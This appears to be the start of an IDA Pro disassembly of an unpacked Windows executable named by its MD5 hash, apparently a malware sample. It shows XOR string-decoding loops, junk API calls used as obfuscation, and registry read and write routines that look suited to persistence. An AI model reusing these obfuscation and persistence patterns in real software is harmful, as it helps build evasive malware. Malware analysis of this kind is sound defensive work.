;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5A0EC6EF259796FEB166CC67E65A50A8

; File Name   :	u:\work\5a0ec6ef259796feb166cc67e65a50a8_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_text		segment	para public 'DATA' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; DATA XREF: sub_401020+Ao
					; sub_43DFC9+Ao

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		xor	eax, eax
		inc	eax
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		jz	short locret_40101F
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40101F:				; CODE XREF: sub_401000+Ej
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401020	proc near		; CODE XREF: sub_40109A+BEp
					; sub_40109A+ECp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_40103D:				; CODE XREF: sub_401020+44j
					; sub_401020+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40106C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40106C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40103D
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_40103D
; ---------------------------------------------------------------------------

loc_40106C:				; CODE XREF: sub_401020+2Aj
					; sub_401020+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40107A	proc near		; CODE XREF: sub_40109A+B1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_40C694	; RtlUnwind
sub_40107A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401092	proc near		; DATA XREF: sub_40107A+Bo
					; sub_43E023+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401092	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40109A	proc near		; DATA XREF: sub_401219+10o
					; sub_407F67+Ao ...

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	dword_43B08C, eax
		mov	dword_43B090, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_40117F
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	dword_43B090, eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4010DD:				; CODE XREF: sub_40109A+DCj
		cmp	esi, 0FFFFFFFFh
		jz	loc_40118E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40116D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_43B030, eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	dword_43B034, eax
		mov	eax, [edx+4]
		mov	dword_43B038, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_43B03C
		mov	esi, dword_43B034
		rep movsd
		lea	edi, dword_43B03C
		mov	dword_43B034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40116D
		js	short loc_40117B
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40107A
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_401020
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]

loc_40116D:				; CODE XREF: sub_40109A+54j
					; sub_40109A+A9j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4010DD
; ---------------------------------------------------------------------------

loc_40117B:				; CODE XREF: sub_40109A+ABj
		xor	eax, eax
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------

loc_40117F:				; CODE XREF: sub_40109A+23j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_401020
		add	esp, 0Ch

loc_40118E:				; CODE XREF: sub_40109A+46j
		push	0
		mov	dword_43B010, 0Bh
		push	0Bh
		call	sub_40CA24
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		push	0
		mov	dword_43B010, 8
		push	8
		call	sub_40CA24
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------

loc_4011C9:				; CODE XREF: sub_40109A+10Cj
					; sub_40109A+126j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4011F8
		push	eax
		push	dword_43B010
		call	sub_40CA24
		add	esp, 8
		push	dword_43B010
		call	sub_40CA0C
		add	esp, 4
		mov	eax, 1

loc_4011F0:				; CODE XREF: sub_40109A+E3j
					; sub_40109A+12Dj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4011F8:				; CODE XREF: sub_40109A+132j
		cmp	dword_43B02C, 0
		jnz	short loc_401208
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------

loc_401208:				; CODE XREF: sub_40109A+165j
		mov	eax, dword_43B02C
		push	0Bh
		jmp	eax
sub_40109A	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 1
		jmp	short loc_4011F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401219	proc near		; CODE XREF: start+500j
					; DATA XREF: start:loc_4494FCo

var_30		= word ptr -30h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43B01C
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	eax
		fnstcw	[esp+30h+var_30]
		or	[esp+30h+var_30], 300h
		fldcw	[esp+30h+var_30]
		add	esp, 4
		push	0
		push	0
		push	offset dword_43B028
		push	offset dword_43B024
		push	offset dword_43B020
		call	sub_40C9AC
		push	dword_43B028
		push	dword_43B024
		push	dword_43B020
		mov	dword_43B014, esp
		call	sub_40C434
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		push	eax
		call	sub_40C9DC
		leave
		retn
sub_401219	endp

; ---------------------------------------------------------------------------
		mov	large fs:0, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40129C	proc near		; CODE XREF: sub_408E89+1Ep
					; sub_408E89+3Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43B09C
		lea	eax, ds:41A870h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4012DC
; ---------------------------------------------------------------------------

loc_4012C2:				; CODE XREF: sub_40129C+42j
		mov	eax, dword_43B09C
		add	eax, edi
		lea	eax, ds:41A870h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0ADh
		mov	[eax], dl
		inc	edi

loc_4012DC:				; CODE XREF: sub_40129C+24j
		cmp	edi, esi
		jl	short loc_4012C2
		mov	[ebp+var_4], 1A7h
		mov	eax, dword_43B09C
		add	eax, esi
		mov	byte ptr ds:dword_41A870[eax], 0
		mov	edi, dword_43B09C
		add	dword_43B09C, 2
		mov	eax, dword_43B09C
		lea	eax, [eax+esi+2]
		mov	dword_43B09C, eax
		inc	dword_43B09C
		cmp	dword_43B09C, 0DB6h
		jle	short loc_40132A
		and	dword_43B09C, 0

loc_40132A:				; CODE XREF: sub_40129C+85j
		lea	eax, dword_41A870[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40129C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401334	proc near		; CODE XREF: sub_408189+111p

var_14C23	= byte ptr -14C23h
var_14C1E	= byte ptr -14C1Eh
var_14C18	= dword	ptr -14C18h
var_14C12	= byte ptr -14C12h
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 14C24h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		call	sub_40C574	; GetProcessHeap
		lea	edi, [ebp+var_14C1E]
		lea	esi, aVk	; " vK%;"
		mov	ecx, 3
		rep movsw
		call	sub_40C514	; GetCurrentThreadId
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_40F280
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40138A
		xor	eax, eax
		jmp	loc_401424
; ---------------------------------------------------------------------------

loc_40138A:				; CODE XREF: sub_401334+4Dj
		mov	[ebp+var_8], 5F3Bh
		mov	eax, [ebp+var_8]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_8], edx
		push	0
		lea	eax, [ebp+var_14C18]
		push	eax
		push	14C08h
		lea	eax, [ebp+var_14C12]
		push	eax
		push	[ebp+var_4]
		call	sub_40C688	; ReadFile
		mov	[ebp+var_9], 0B7h
		sub	[ebp+var_9], 77h
		push	[ebp+var_4]
		call	sub_40C55C	; CloseHandle
		mov	[ebp+var_A], 22h
		sub	[ebp+var_A], 6Ch
		xor	ebx, ebx

loc_4013D2:				; CODE XREF: sub_401334+D9j
		mov	eax, 0Dh
		sub	eax, dword_43B098
		push	eax
		push	offset byte_432F00
		lea	eax, [ebp+ebx+var_14C12]
		push	eax
		call	sub_401806
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_4013FF
		xor	eax, eax
		inc	eax
		jmp	short loc_401424
; ---------------------------------------------------------------------------

loc_4013FF:				; CODE XREF: sub_401334+C4j
		call	sub_40C538	; RtlGetLastWin32Error
		add	ebx, 11h
		cmp	ebx, [ebp+var_14C18]
		jb	short loc_4013D2
		lea	edi, [ebp+var_14C23]
		lea	esi, aByxy	; "Byxy"
		mov	ecx, 5
		rep movsb
		xor	eax, eax

loc_401424:				; CODE XREF: sub_401334+51j
					; sub_401334+C9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401334	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2ADh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B234
		lea	eax, ds:4196E0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401472
; ---------------------------------------------------------------------------

loc_401458:				; CODE XREF: .text:00401474j
		mov	eax, dword_43B234
		add	eax, edi
		lea	eax, ds:4196E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0ACh
		mov	[eax], dl
		inc	edi

loc_401472:				; CODE XREF: .text:00401456j
		cmp	edi, esi
		jl	short loc_401458
		mov	dword ptr [ebp-8], 194h
		mov	eax, dword_43B234
		add	eax, esi
		mov	byte ptr ds:dword_4196E0[eax], 0
		mov	edi, dword_43B234
		mov	eax, edi
		add	eax, 2
		add	eax, esi
		mov	dword_43B234, eax
		cmp	eax, 0DF0h
		jle	short loc_4014AC
		and	dword_43B234, 0

loc_4014AC:				; CODE XREF: .text:004014A3j
		mov	dword ptr [ebp-0Ch], 3DCh
		lea	eax, dword_4196E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014BD	proc near		; CODE XREF: sub_4062CD+D3p
					; sub_408BE4+E6p ...

var_14		= byte ptr -14h
var_F		= byte ptr -0Fh
var_A		= byte ptr -0Ah
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_A]
		lea	esi, aMI5	; "m i5"
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C934	; RegOpenKeyExA
		mov	ebx, eax
		lea	edi, [ebp+var_F]
		lea	esi, a4Ec	; "4%ec"
		mov	ecx, 5
		rep movsb
		or	ebx, ebx
		jz	short loc_401506
		xor	eax, eax
		jmp	short loc_401549
; ---------------------------------------------------------------------------

loc_401506:				; CODE XREF: sub_4014BD+43j
		lea	edi, [ebp+var_14]
		lea	esi, aXuT	; "xU t"
		mov	ecx, 5
		rep movsb
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_40C940	; RegQueryValueExA
		mov	ebx, eax
		mov	[ebp+var_5], 0F0h
		add	[ebp+var_5], 0ABh
		push	[ebp+var_4]
		call	sub_40C928	; RegCloseKey
		or	ebx, ebx
		jz	short loc_401546
		xor	eax, eax
		jmp	short loc_401549
; ---------------------------------------------------------------------------

loc_401546:				; CODE XREF: sub_4014BD+83j
		xor	eax, eax
		inc	eax

loc_401549:				; CODE XREF: sub_4014BD+47j
					; sub_4014BD+87j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4014BD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3B4h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B250
		lea	eax, ds:433FF0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401597
; ---------------------------------------------------------------------------

loc_40157D:				; CODE XREF: .text:00401599j
		mov	eax, dword_43B250
		add	eax, edi
		lea	eax, ds:433FF0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0E6h
		mov	[eax], dl
		inc	edi

loc_401597:				; CODE XREF: .text:0040157Bj
		cmp	edi, esi
		jl	short loc_40157D
		mov	dword ptr [ebp-8], 153h
		mov	eax, dword_43B250
		add	eax, esi
		mov	byte ptr ds:dword_433FF0[eax], 0
		mov	edi, dword_43B250
		add	dword_43B250, 3
		mov	eax, dword_43B250
		lea	eax, [eax+esi+6]
		mov	dword_43B250, eax
		cmp	eax, 0DFFh
		jle	short loc_4015DA
		and	dword_43B250, 0

loc_4015DA:				; CODE XREF: .text:004015D1j
		mov	dword ptr [ebp-0Ch], 3D1h
		lea	eax, dword_433FF0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015EB	proc near		; CODE XREF: sub_405F79+9Fp
					; sub_405F79+D8p ...

var_D		= byte ptr -0Dh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		call	sub_40C514	; GetCurrentThreadId
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C91C	; RegCreateKeyExA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_401628
		xor	eax, eax
		jmp	short loc_401675
; ---------------------------------------------------------------------------

loc_401628:				; CODE XREF: sub_4015EB+37j
		lea	edi, [ebp+var_D]
		lea	esi, aDGu	; "D GU"
		mov	ecx, 5
		rep movsb
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_40C94C	; RegSetValueExA
		mov	ebx, eax
		push	[ebp+var_4]
		call	sub_40C928	; RegCloseKey
		or	ebx, ebx
		jz	short loc_401660
		xor	eax, eax
		jmp	short loc_401675
; ---------------------------------------------------------------------------

loc_401660:				; CODE XREF: sub_4015EB+6Fj
		call	sub_40C5A4	; GetVersion
		cmp	[ebp+var_8], 1
		jnz	short loc_401672
		mov	eax, 2
		jmp	short loc_401675
; ---------------------------------------------------------------------------

loc_401672:				; CODE XREF: sub_4015EB+7Ej
		xor	eax, eax
		inc	eax

loc_401675:				; CODE XREF: sub_4015EB+3Bj
					; sub_4015EB+73j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4015EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B264
		lea	eax, ds:437190h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 5Fh
		xor	edi, edi
		jmp	short loc_4016BF
; ---------------------------------------------------------------------------

loc_4016A8:				; CODE XREF: .text:004016C1j
		mov	eax, dword_43B264
		add	eax, edi
		lea	eax, ds:437190h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0Eh
		mov	[eax], dl
		inc	edi

loc_4016BF:				; CODE XREF: .text:004016A6j
		cmp	edi, esi
		jl	short loc_4016A8
		mov	eax, dword_43B264
		add	eax, esi
		mov	byte ptr ds:dword_437190[eax], 0
		xor	edi, edi
		mov	edi, dword_43B264
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_43B264, eax
		add	dword_43B264, 3
		cmp	dword_43B264, 0DE6h
		jle	short loc_4016FE
		and	dword_43B264, 0

loc_4016FE:				; CODE XREF: .text:004016F5j
		mov	dword ptr [ebp-8], 6
		lea	eax, dword_437190[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40170F	proc near		; CODE XREF: sub_405601+166p
					; sub_408BE4+3Ap ...

var_4		= byte ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 9Fh
		add	[ebp+var_1], 0CBh
		lea	edi, [ebp+var_4]
		lea	esi, dword_43B268
		mov	ecx, 3
		rep movsb
		xor	ebx, ebx
		jmp	short loc_40175A
; ---------------------------------------------------------------------------

loc_401732:				; CODE XREF: sub_40170F+4Ej
		call	sub_40CA18
		mov	edi, [ebp+arg_0]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[edi+ebx], dl
		inc	ebx

loc_40175A:				; CODE XREF: sub_40170F+21j
		cmp	ebx, [ebp+arg_4]
		jl	short loc_401732
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx+eax], 0
		mov	eax, edx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40170F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B274
		lea	eax, ds:42EBA0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 1Ah
		xor	edi, edi
		jmp	short loc_4017B4
; ---------------------------------------------------------------------------

loc_40179D:				; CODE XREF: .text:004017B6j
		mov	eax, dword_43B274
		add	eax, edi
		lea	eax, ds:42EBA0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 48h
		mov	[eax], dl
		inc	edi

loc_4017B4:				; CODE XREF: .text:0040179Bj
		cmp	edi, esi
		jl	short loc_40179D
		mov	eax, dword_43B274
		add	eax, esi
		mov	byte ptr ds:dword_42EBA0[eax], 0
		mov	edi, dword_43B274
		add	dword_43B274, 3
		mov	eax, dword_43B274
		lea	eax, [eax+esi+6]
		mov	dword_43B274, eax
		add	dword_43B274, 2
		cmp	dword_43B274, 0DD9h
		jle	short loc_4017FC
		and	dword_43B274, 0

loc_4017FC:				; CODE XREF: .text:004017F3j
		lea	eax, dword_42EBA0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401806	proc near		; CODE XREF: sub_401334+B7p
					; sub_4053A1+57p ...

var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_D], 9Fh
		add	[ebp+var_D], 0CBh
		and	[ebp+var_C], 0
		lea	edi, [ebp+var_10]
		lea	esi, dword_43B278
		mov	ecx, 3
		rep movsb
		and	[ebp+var_8], 0
		jmp	short loc_4018AA
; ---------------------------------------------------------------------------

loc_401831:				; CODE XREF: sub_401806+B6j
		call	sub_40C634	; IsDebuggerPresent
		and	[ebp+var_4], 0
		call	sub_40C598	; GetTickCount
		xor	ebx, ebx
		jmp	short loc_401894
; ---------------------------------------------------------------------------

loc_401843:				; CODE XREF: sub_401806+9Fj
		mov	[ebp+var_11], 37h
		add	[ebp+var_11], 1
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+ebx]
		cmp	eax, edx
		jnz	short loc_401865
		inc	[ebp+var_4]

loc_401865:				; CODE XREF: sub_401806+5Aj
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_40186D:				; CODE XREF: sub_401806+6Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40186D
		cmp	[ebp+var_4], eax
		jnz	short loc_401893
		call	sub_40C5A4	; GetVersion
		inc	[ebp+var_C]
		call	sub_40C574	; GetProcessHeap
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_C], eax
		jnz	short loc_401893
		mov	eax, [ebp+var_8]
		jmp	short loc_4018C7
; ---------------------------------------------------------------------------

loc_401893:				; CODE XREF: sub_401806+71j
					; sub_401806+86j
		inc	ebx

loc_401894:				; CODE XREF: sub_401806+3Bj
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_40189C:				; CODE XREF: sub_401806+9Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40189C
		cmp	ebx, eax
		jb	short loc_401843
		inc	[ebp+var_8]

loc_4018AA:				; CODE XREF: sub_401806+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_4018B2:				; CODE XREF: sub_401806+B1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018B2
		cmp	[ebp+var_8], eax
		jb	loc_401831
		mov	eax, 0FFFFh

loc_4018C7:				; CODE XREF: sub_401806+8Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401806	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B284
		lea	eax, ds:415600h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 5Fh
		xor	edi, edi
		jmp	short loc_401911
; ---------------------------------------------------------------------------

loc_4018FA:				; CODE XREF: .text:00401913j
		mov	eax, dword_43B284
		add	eax, edi
		lea	eax, ds:415600h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0Eh
		mov	[eax], dl
		inc	edi

loc_401911:				; CODE XREF: .text:004018F8j
		cmp	edi, esi
		jl	short loc_4018FA
		mov	eax, dword_43B284
		add	eax, esi
		mov	byte ptr ds:dword_415600[eax], 0
		xor	edi, edi
		mov	edi, dword_43B284
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_43B284, eax
		add	dword_43B284, 3
		cmp	dword_43B284, 0DE6h
		jle	short loc_401950
		and	dword_43B284, 0

loc_401950:				; CODE XREF: .text:00401947j
		mov	dword ptr [ebp-8], 6
		lea	eax, dword_415600[edi]
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp-7]
		lea	esi, dword_43B288
		mov	ecx, 7
		rep movsb
		mov	ebx, [ebp+10h]
		jmp	short loc_4019A0
; ---------------------------------------------------------------------------

loc_401983:				; CODE XREF: .text:004019A3j
		mov	eax, [ebp+8]
		movsx	eax, byte ptr [eax+ebx]
		mov	edx, ebx
		sub	edx, [ebp+10h]
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+edx]
		cmp	eax, edx
		jz	short loc_40199F
		xor	eax, eax
		inc	eax
		jmp	short loc_4019AC
; ---------------------------------------------------------------------------

loc_40199F:				; CODE XREF: .text:00401998j
		inc	ebx

loc_4019A0:				; CODE XREF: .text:00401981j
		cmp	ebx, [ebp+14h]
		jl	short loc_401983
		call	sub_40C538	; RtlGetLastWin32Error
		xor	eax, eax

loc_4019AC:				; CODE XREF: .text:0040199Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B298
		lea	eax, ds:433000h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4019F0
; ---------------------------------------------------------------------------

loc_4019D6:				; CODE XREF: .text:004019F2j
		mov	eax, dword_43B298
		add	eax, edi
		lea	eax, ds:433000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 8Ah
		mov	[eax], dl
		inc	edi

loc_4019F0:				; CODE XREF: .text:004019D4j
		cmp	edi, esi
		jl	short loc_4019D6
		mov	eax, dword_43B298
		add	eax, esi
		mov	byte ptr ds:dword_433000[eax], 0
		mov	edi, dword_43B298
		inc	dword_43B298
		mov	eax, dword_43B298
		add	eax, 4
		add	eax, esi
		mov	dword_43B298, eax
